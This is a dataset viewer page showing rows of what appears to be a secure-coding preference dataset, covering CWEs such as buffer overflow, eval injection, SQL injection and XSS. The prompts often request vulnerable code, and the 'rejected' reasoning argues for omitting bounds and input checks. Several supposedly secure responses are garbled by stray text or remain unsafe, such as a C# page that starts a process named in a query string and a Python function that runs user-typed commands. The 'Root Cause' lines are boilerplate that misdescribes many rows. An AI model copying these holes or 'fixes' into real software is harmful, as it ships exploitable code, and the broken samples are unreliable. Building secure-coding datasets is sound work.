Datasets:
id large_stringlengths 18 18 | category large_stringclasses 6
values | cwe_or_mitre large_stringclasses 221
values | instruction large_stringlengths 15 4.56k | compressed_think large_stringlengths 250 426 | response large_stringlengths 67 170k | chosen large_stringlengths 511 171k | rejected large_stringlengths 451 172k | chosen_token_count int64 129 60.4k | token_saving_ratio float64 0.12 11.1 |
|---|---|---|---|---|---|---|---|---|---|
cyber_95dbc02605b9 | vulnerability_research_cve | CWE-787 | Write a c++ code that defines a function named 'copyString' which takes two character pointers as arguments. The first pointer points to the source string and the second one points to the destination string. This function should copy the content of the source string into the destination string. In the main function, de... | Target: c++ implementation for Write a c++ code that defines a function named 'copyString' which take.
Vulnerability Vector: Improper memory management in C++ can lead to buffer overflow vulnerabilities. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c++
#include <cstring>
void copyString(char* dest, const char* src) {
while ((*dest++ = *src++) != '\0');
}
int main() {
char source[10] = "Hello!";
char destination[10]; // Make sure the destination array is large enough to hold the source string
copyString(destination, source);
return 0;
}
``... | <think>
Target: c++ implementation for Write a c++ code that defines a function named 'copyString' which take.
Vulnerability Vector: Improper memory management in C++ can lead to buffer overflow vulnerabilities. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this c++ code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 211 | 0.85 |
cyber_a65e566ff85f | vulnerability_research_cve | CWE-20 | Write a python code that takes user input as Python code and executes it using the built-in `eval()` function. The executed code should be sanitized to prevent arbitrary code execution. | Target: python implementation for Write a python code that takes user input as Python code and executes .
Vulnerability Vector: Python's built-in function `eval()` can lead to arbitrary code execution if used (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import ast
class RestrictedPython(ast.NodeTransformer):
"""
AST NodeTransformer that restricts the allowed Python features.
"""
def visit_Call(self, node):
# Only allow calls to len, str, range, list, dict, tuple, set, frozenset, print, type, id, sorted, reversed, enumerate, abs, all,... | <think>
Target: python implementation for Write a python code that takes user input as Python code and executes .
Vulnerability Vector: Python's built-in function `eval()` can lead to arbitrary code execution if used (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 685 | 0.28 |
cyber_b17599b8ac1c | vulnerability_research_cve | CWE-476 | Write a java code that connects to a MySQL database, executes a SELECT query on the 'users' table where the 'username' is 'testUser', and prints out the usernames retrieved from the query. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Improper null check on database results can lead to NullPointerException. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strat... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
Connection conn = null;
PreparedStatement stmt = null;
ResultSet rs = null;
try {
// Assume we have a database connection
conn = DriverManager.getConnection("jdbc:mysql://... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Improper null check on database results can lead to NullPointerException. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 407 | 0.87 |
cyber_96034cb4ddd6 | vulnerability_research_cve | CWE-20 | Write a javascript code that takes a string input from a user and evaluates it using the eval() function. The string should be an alert message saying 'Hello, World'. | Target: javascript implementation for Write a javascript code that takes a string input from a user and eval.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if not used proper (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
let userInput = "Hello, World";
alert(userInput);
``` | <think>
Target: javascript implementation for Write a javascript code that takes a string input from a user and eval.
Vulnerability Vector: The use of eval() function can lead to code injection attacks if not used proper (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 129 | 0.75 |
cyber_9b1d3d16ca5a | vulnerability_research_cve | CWE-787 | Write a c# code that contains a class named 'VulnerableClass' and inside this class, create a method named 'UnsafeMethod'. This method should take a string parameter named 'userInput'. Inside this method, create an array of characters named 'buffer' with a size of 10. Then, iterate over each character in the 'userInput... | Target: c# implementation for Write a c# code that contains a class named 'VulnerableClass' and insi.
Vulnerability Vector: A possible vulnerability in C# code could be a buffer overflow if unchecked inpu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
public class SecureOptimizedClass
{
public void SafeMethod(string userInput)
{
// Check if the userInput length is greater than the buffer size
if (userInput.Length > 10)
{
throw new ArgumentException("Input string is too long.");
}
... | <think>
Target: c# implementation for Write a c# code that contains a class named 'VulnerableClass' and insi.
Vulnerability Vector: A possible vulnerability in C# code could be a buffer overflow if unchecked inpu (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 255 | 0.62 |
cyber_9f6d08b64ebb | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database and fetches data from a table named 'users' where the username and password match those provided in the URL parameters. | Target: php implementation for Write a php code that connects to a MySQL database and fetches data fr.
Vulnerability Vector: Improper Input Validation and Sanitization in PHP can lead to SQL Injection (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strat... | ```php
<?php
$db = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
$username = $_GET['username'];
$password = $_GET['password'];
// Prepare our SQL, preparing the SQL statement removes the risk of SQL injection.
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username AND password = :password")... | <think>
Target: php implementation for Write a php code that connects to a MySQL database and fetches data fr.
Vulnerability Vector: Improper Input Validation and Sanitization in PHP can lead to SQL Injection (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | <think>
Let me consider how to write this php code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 281 | 0.62 |
cyber_51ad31b0e029 | vulnerability_research_cve | CWE-20 | Write a ruby code that defines a method named 'validate_input' which takes an input string. The method should check if the input string is exactly 10 digits long. If it is, print 'Valid Input'. Otherwise, print 'Invalid Input'. | Target: ruby implementation for Write a ruby code that defines a method named 'validate_input' which t.
Vulnerability Vector: In Ruby, it's possible to create a vulnerability through the use of regular expr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
def validate_input(input)
if input.is_a?(String) && input.length == 10 && input == input.to_i.to_s
puts "Valid Input"
else
puts "Invalid Input"ivalid Input"
end
end
# Testing with valid input
validate_input("1234567890") # Valid Input
# Testing with invalid input
validate_input("1234567890123456... | <think>
Target: ruby implementation for Write a ruby code that defines a method named 'validate_input' which t.
Vulnerability Vector: In Ruby, it's possible to create a vulnerability through the use of regular expr (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 245 | 0.76 |
cyber_52652ab7997d | vulnerability_research_cve | CWE-787 | Write a swift code that defines a function named 'vulnerableFunction' which takes a string as an argument. This function should take a substring from the input string starting from the 6th character and ending at the 5th character from the end of the string. It should then return this substring. | Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Potential buffer overflow vulnerability due to incorrect handling of string slic (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func secureFunction(input: String) -> String? {
guard let startIndex = input.index(input.startIndex, offsetBy: 5, limitedBy: input.endIndex),
let endIndex = input.index(input.endIndex, offsetBy: -5, limitedBy: input.startIndex) else {
return nil
}
let result = i... | <think>
Target: swift implementation for Write a swift code that defines a function named 'vulnerableFunction' .
Vulnerability Vector: Potential buffer overflow vulnerability due to incorrect handling of string slic (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this swift code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solut... | 273 | 0.71 |
cyber_bb1742cee6bc | vulnerability_research_cve | CWE-134 | Write a go code that asks for a user's name and then prints a greeting message using that name. | Target: go implementation for Write a go code that asks for a user's name and then prints a greeting.
Vulnerability Vector: In the Go programming language, a possible vulnerable function is 'fmt.Printf' w (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
"strings"
)
func main() {
reader := bufio.NewReader(os.Stdin)
fmt.Print("Enter your name: ")
name, _ := reader.ReadString('\n')
// Trim newline character from the input
name = strings.TrimSuffix(name, "\n")
fmt.Printf("Hello, %s!\n", name)
}
``` | <think>
Target: go implementation for Write a go code that asks for a user's name and then prints a greeting.
Vulnerability Vector: In the Go programming language, a possible vulnerable function is 'fmt.Printf' w (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this go code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 237 | 0.62 |
cyber_d99d8a95cf2a | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates a class 'Animal' with a property 'name'. Then create two subclasses 'Dog' and 'Cat' which inherit from 'Animal'. In the main function, create an object of 'Dog' and cast it to 'Dog' type. Finally, print the name of the dog. | Target: kotlin implementation for Write a kotlin code that creates a class 'Animal' with a property 'nam.
Vulnerability Vector: The use of unsafe implicit casting in Kotlin can lead to ClassCastException at r (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
open class Animal(val name: String)
class Dog(name: String) : Animal(name)
class Cat(name: String) : Animal(name)
fun main() {
val animal: Animal = Dog("Dog")
if (animal is Dog) {
val dog = animal as Dog
println(dog.name)
} else {
println("Error: Animal is not a Dog")
... | <think>
Target: kotlin implementation for Write a kotlin code that creates a class 'Animal' with a property 'nam.
Vulnerability Vector: The use of unsafe implicit casting in Kotlin can lead to ClassCastException at r (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this kotlin code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 223 | 0.68 |
cyber_6985d3829cdf | vulnerability_research_cve | CWE-787 | Write a fortran code that asks for a user's surname and then prints a greeting message using the user's surname. | Target: fortran implementation for Write a fortran code that asks for a user's surname and then prints a .
Vulnerability Vector: In Fortran, there might be a potential buffer overflow vulnerability if the leng (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program main
implicit none
character(len=100) :: surname
print *, "Enter your surname:"
read(*,'(A)') surname
print *, "Hello, " // trim(surname) // "!"
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that asks for a user's surname and then prints a .
Vulnerability Vector: In Fortran, there might be a potential buffer overflow vulnerability if the leng (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | <think>
Let me consider how to write this fortran code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward sol... | 182 | 0.72 |
cyber_10a01ffe589b | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and string.h libraries. Define a function named 'func' that takes a character pointer as an argument. Inside the function, declare a character array 'buffer' of size 10. Copy the content of the input character pointer into the buffer using the strcpy function. In the main functio... | Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Inadequate memory management can lead to buffer overflows, allowing attackers to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring> // Use cstring instead of string.h
// Avoid using namespace std for better control over what you use
void func(const char* input) { // const char* input means we don't modify the input
char buffer[20]; // Increase buffer size to avoid overflow
std::strncpy(buffer,... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Inadequate memory management can lead to buffer overflows, allowing attackers to (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this c++ code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 291 | 0.56 |
cyber_26bd3fd8b758 | vulnerability_research_cve | CWE-20 | Write a python code that creates a web server using Flask framework. The server should have an endpoint '/evaluate' which accepts POST requests. When a POST request is received, it should take the JSON data from the request, extract the 'expression' field, evaluate it using Python's built-in eval function and return th... | Target: python implementation for Write a python code that creates a web server using Flask framework. T.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution, parti (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
from flask import Flask, request, jsonify
import ast
app = Flask(__name__)
class MathNodeVisitor(ast.NodeVisitor):
def visit_Num(self, node):
raise ValueError("Unsupported operation")
def visit_Str(self, node):
raise ValueError("Unsupported operation")
def visit_NameConstant(se... | <think>
Target: python implementation for Write a python code that creates a web server using Flask framework. T.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution, parti (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 469 | 0.33 |
cyber_e66462bf0f51 | vulnerability_research_cve | CWE-78 | Write a java code that connects to a MySQL database, executes a SELECT query on the 'users' table, and prints out the 'username' field from each record in the result set. | Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Inadequate use of exception handling can lead to resource leaks in Java applicat (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.sql.*;
public class Main {
public static void main(String[] args) {
String url = "jdbc:mysql://localhost/testdb";
String user = "username";
String password = "password";
try (Connection conn = DriverManager.getConnection(url, user, password);
Statem... | <think>
Target: java implementation for Write a java code that connects to a MySQL database, executes a SELECT.
Vulnerability Vector: Inadequate use of exception handling can lead to resource leaks in Java applicat (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 281 | 1.44 |
cyber_c5a1da9e2e4a | vulnerability_research_cve | CWE-20 | Write a javascript code that creates a string variable named 'evalInput' and assigns it the value of an alert message. Then, use the 'eval()' function to execute the content of 'evalInput'. | Target: javascript implementation for Write a javascript code that creates a string variable named 'evalInpu.
Vulnerability Vector: Incorrect use of 'eval' function can lead to code injection attacks if the input (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
var evalInput = "alert('This is an alert box');";
new Function(evalInput)();
``` | <think>
Target: javascript implementation for Write a javascript code that creates a string variable named 'evalInpu.
Vulnerability Vector: Incorrect use of 'eval' function can lead to code injection attacks if the input (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 137 | 0.72 |
cyber_1fe95da62a6a | vulnerability_research_cve | CWE-787 | Write a c# code that asks the user to enter their name, converts the input into an array of characters, stores each character in a new array of size 10, and then prints out the secret message formed from the array. | Target: c# implementation for Write a c# code that asks the user to enter their name, converts the i.
Vulnerability Vector: There is a potential buffer overflow vulnerability due to unsafe string function (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
public class SecureClass
{
public static void Main(string[] args)
{
Console.WriteLine("Enter your name:");
string userInput = Console.ReadLine();
if (userInput.Length > 10)
{
userInput = userInput.Substring(0, 10);
}
char[] userInp... | <think>
Target: c# implementation for Write a c# code that asks the user to enter their name, converts the i.
Vulnerability Vector: There is a potential buffer overflow vulnerability due to unsafe string function (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 306 | 0.74 |
cyber_fbd6127e0dc5 | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database, retrieves user data from the 'users' table based on a GET request's 'username' and 'password', and then checks if the inputted credentials match any existing user in the database. If they do, it welcomes the user by their username. If not, it informs the user that the... | Target: php implementation for Write a php code that connects to a MySQL database, retrieves user dat.
Vulnerability Vector: In PHP, an unsanitized user input could lead to SQL injection attacks if it's us (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$host = "localhost";
$db = "test_db";
$user = "root";
$pass = "password";
$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error); Hawk: It's good practice to handle connection errors properly.
}
$username = $conn->real_escape_str... | <think>
Target: php implementation for Write a php code that connects to a MySQL database, retrieves user dat.
Vulnerability Vector: In PHP, an unsanitized user input could lead to SQL injection attacks if it's us (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | <think>
Let me consider how to write this php code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 355 | 0.8 |
cyber_bda748618dd7 | vulnerability_research_cve | CWE-502 | Write a ruby code that creates a class named User, which has an attribute accessor for name. Initialize an instance of User with name 'Alice'. Serialize the instance using YAML::dump and store it in serialized_user. Then deserialize the serialized_user back into an object using YAML::load and store it in deserialized_u... | Target: ruby implementation for Write a ruby code that creates a class named User, which has an attrib.
Vulnerability Vector: Ruby's YAML library may lead to arbitrary code execution if it's deserializing u (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```ruby
require 'yaml'
class User
attr_accessor :name
def initialize(name)
@name = name
end
end
user = User.new("Alice")
serialized_user = YAML::dump(user)
# Fixing the vulnerability by not deserializing untrusted data
begin
deserialized_user = YAML::load(serialized_user)
puts deserialized_user.name
r... | <think>
Target: ruby implementation for Write a ruby code that creates a class named User, which has an attrib.
Vulnerability Vector: Ruby's YAML library may lead to arbitrary code execution if it's deserializing u (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | <think>
Let me consider how to write this ruby code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 262 | 0.73 |
cyber_f6bdfe82c17e | vulnerability_research_cve | CWE-476 | Write a swift code that defines a class 'Vehicle' with properties 'make' and 'model'. Define another class 'Car' which inherits from 'Vehicle' and adds an additional property 'color'. Define a function 'printCarDetails' that takes an optional 'Car' object as a parameter. If the car object is not nil, print its 'make', ... | Target: swift implementation for Write a swift code that defines a class 'Vehicle' with properties 'mak.
Vulnerability Vector: Swift's optional type can lead to null pointer exceptions if not handled properl (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
class Vehicle {
var make: String?
var model: String?
}
class Car: Vehicle {
var color: String?
}
func printCarDetails(car: Car?) {
guard let car = car,
let make = car.make,
let model = car.model,
let color = car.color else { return }
p... | <think>
Target: swift implementation for Write a swift code that defines a class 'Vehicle' with properties 'mak.
Vulnerability Vector: Swift's optional type can lead to null pointer exceptions if not handled properl (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this swift code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solut... | 251 | 0.9 |
cyber_b36f648919e3 | vulnerability_research_cve | CWE-20 | Write a go code that imports necessary packages. Define a function named 'someFunction' which returns an error. In the main function, call 'someFunction' and if an error occurs, print the error message. | Target: go implementation for Write a go code that imports necessary packages. Define a function nam.
Vulnerability Vector: Improper error handling in Go can lead to sensitive information disclosure throu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"errors"
)
func main() {
err := someFunction()
if err != nil {
fmt.Println(err)archar;
}
}
func someFunction() error {
return errors.New("Some error occurred")
}
``` | <think>
Target: go implementation for Write a go code that imports necessary packages. Define a function nam.
Vulnerability Vector: Improper error handling in Go can lead to sensitive information disclosure throu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this go code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 185 | 0.85 |
cyber_7842cdef4aca | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates a User object named John Doe and prints out his/her name. If the User object is null, it will throw a NullPointerException. | Target: kotlin implementation for Write a kotlin code that creates a User object named John Doe and prin.
Vulnerability Vector: NullPointerException due to null values being passed to functions without proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val user = User("John", "Doe")
printUserName(user)
}
fun printUserName(user: User?) {
if (user != null) {
println(user.name)
} else {
println("User is null")
}
}
data class User(val name: String, val surname: String)
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates a User object named John Doe and prin.
Vulnerability Vector: NullPointerException due to null values being passed to functions without proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | <think>
Let me consider how to write this kotlin code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 215 | 0.77 |
cyber_65bb12be519c | vulnerability_research_cve | CWE-20 | Write a fortran code that prints numbers from 0 to 9 using a goto statement. | Target: fortran implementation for Write a fortran code that prints numbers from 0 to 9 using a goto stat.
Vulnerability Vector: The 'GOTO' statement in Fortran can lead to code that is hard to maintain and un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
PROGRAM OPTIMIZED_PROGRAM
INTEGER :: I
DO I=0, 9
PRINT *, "I is", I
END DO
END PROGRAM OPTIMIZED_PROGRAM
``` | <think>
Target: fortran implementation for Write a fortran code that prints numbers from 0 to 9 using a goto stat.
Vulnerability Vector: The 'GOTO' statement in Fortran can lead to code that is hard to maintain and un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | <think>
Let me consider how to write this fortran code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward sol... | 180 | 0.97 |
cyber_2a06a7e54634 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes iostream and string.h libraries. Define a function named 'copyString' that takes two parameters, a character pointer 'dest' and a constant character pointer 'src'. This function should use the strcpy function from the string.h library to copy the content of 'src' into 'dest'. In the main ... | Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Buffer overflow vulnerability in C++ can occur when a programmer fails to proper (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <iostream>
#include <cstring>
void copyString(char* dest, const char* src, size_t destSize) {
strncpy(dest, src, destSize - 1); // Avoid buffer overflow
dest[destSize - 1] = '\0'; // Ensure null termination
}
int main() {
constexpr size_t bufferSize = 10;
char buffer[bufferSize];
c... | <think>
Target: c++ implementation for Write a c++ code that includes iostream and string.h libraries. Define.
Vulnerability Vector: Buffer overflow vulnerability in C++ can occur when a programmer fails to proper (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | <think>
Let me consider how to write this c++ code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solutio... | 281 | 0.68 |
cyber_93f440e3134b | vulnerability_research_cve | CWE-20 | Write a python code that imports the os module and defines a function 'run_command' which takes user input, evaluates it into a command using the eval function, and then executes that command using the os.system function. The function should be called with user input taken from the console. | Target: python implementation for Write a python code that imports the os module and defines a function .
Vulnerability Vector: Python's eval() function can lead to arbitrary code execution if used improperly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import subprocess
def run_command(user_input):
command = user_input.split()
subprocess.run(command, shell=False)
run_command(input("Enter a command: "))
``` | <think>
Target: python implementation for Write a python code that imports the os module and defines a function .
Vulnerability Vector: Python's eval() function can lead to arbitrary code execution if used improperly (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | <think>
Let me consider how to write this python code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solu... | 161 | 0.76 |
cyber_adf5b9be79c2 | vulnerability_research_cve | CWE-476 | Write a java code that declares a string variable named 'str' and assigns it a null value. Then, print the length of 'str'. The code should be placed in a class named 'Main', and the main method should be declared as public static void main(String[] args). | Target: java implementation for Write a java code that declares a string variable named 'str' and assi.
Vulnerability Vector: NullPointerException is a common runtime exception that occurs when a null refer (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
public class Main {
public static void main(String[] args) {
String str = null;
if (str != null) {
System.out.println(str.length());
} else {
System.out.println("The string is null!");
}
}
}
``` | <think>
Target: java implementation for Write a java code that declares a string variable named 'str' and assi.
Vulnerability Vector: NullPointerException is a common runtime exception that occurs when a null refer (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | <think>
Let me consider how to write this java code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward soluti... | 182 | 0.64 |
cyber_92a9c8327d4b | vulnerability_research_cve | CWE-79 | Write a javascript code that creates an HTTP server that listens on port 8080. When a request comes in, parse the URL and extract the 'message' query parameter. Then send back an HTML response with a greeting and the message received from the query parameter. | Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const queryObject = url.parse(req.url, true).query;
let message = queryObject.message ? encodeURIComponent(queryObject.message) : '';
res.writeHead(200, {'Content-Type': 'text/html'}); fulfill the XSS vulne... | <think>
Target: javascript implementation for Write a javascript code that creates an HTTP server that listens on po.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities can occur when user input is not prop (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | <think>
Let me consider how to write this javascript code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward ... | 263 | 0.78 |
cyber_58679149db7f | vulnerability_research_cve | CWE-78 | Write a c# code that starts a process based on user input from the query string. The process name is obtained from the 'userInput' parameter in the query string. | Target: c# implementation for Write a c# code that starts a process based on user input from the que.
Vulnerability Vector: Improper validation and sanitization of user input can lead to Remote Code Execu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Diagnostics;
using System.IO;
using System.Web;
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string userInput = Server.UrlDecode(Request.QueryString["userInput"]);
Response.Write("<br><br>User Input... | <think>
Target: c# implementation for Write a c# code that starts a process based on user input from the que.
Vulnerability Vector: Improper validation and sanitization of user input can lead to Remote Code Execu (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | <think>
Let me consider how to write this c# code. When implementing this functionality, developers often write the most direct solution without adding defensive checks or bounds validation. Pointers and memory buffers can be tricky, but let us keep the implementation simple. Let me provide the straightforward solution... | 327 | 0.65 |
cyber_6bbaabd604a1 | vulnerability_research_cve | CWE-89 | Write a php code that connects to a MySQL database, selects a specific user from the database based on the username and password provided in the URL parameters, and then prints out the first and last name of the selected user. | Target: php implementation for Write a php code that connects to a MySQL database, selects a specific.
Vulnerability Vector: PHP code can have SQL injection vulnerabilities due to improper use of the `mysq (CWE-89).
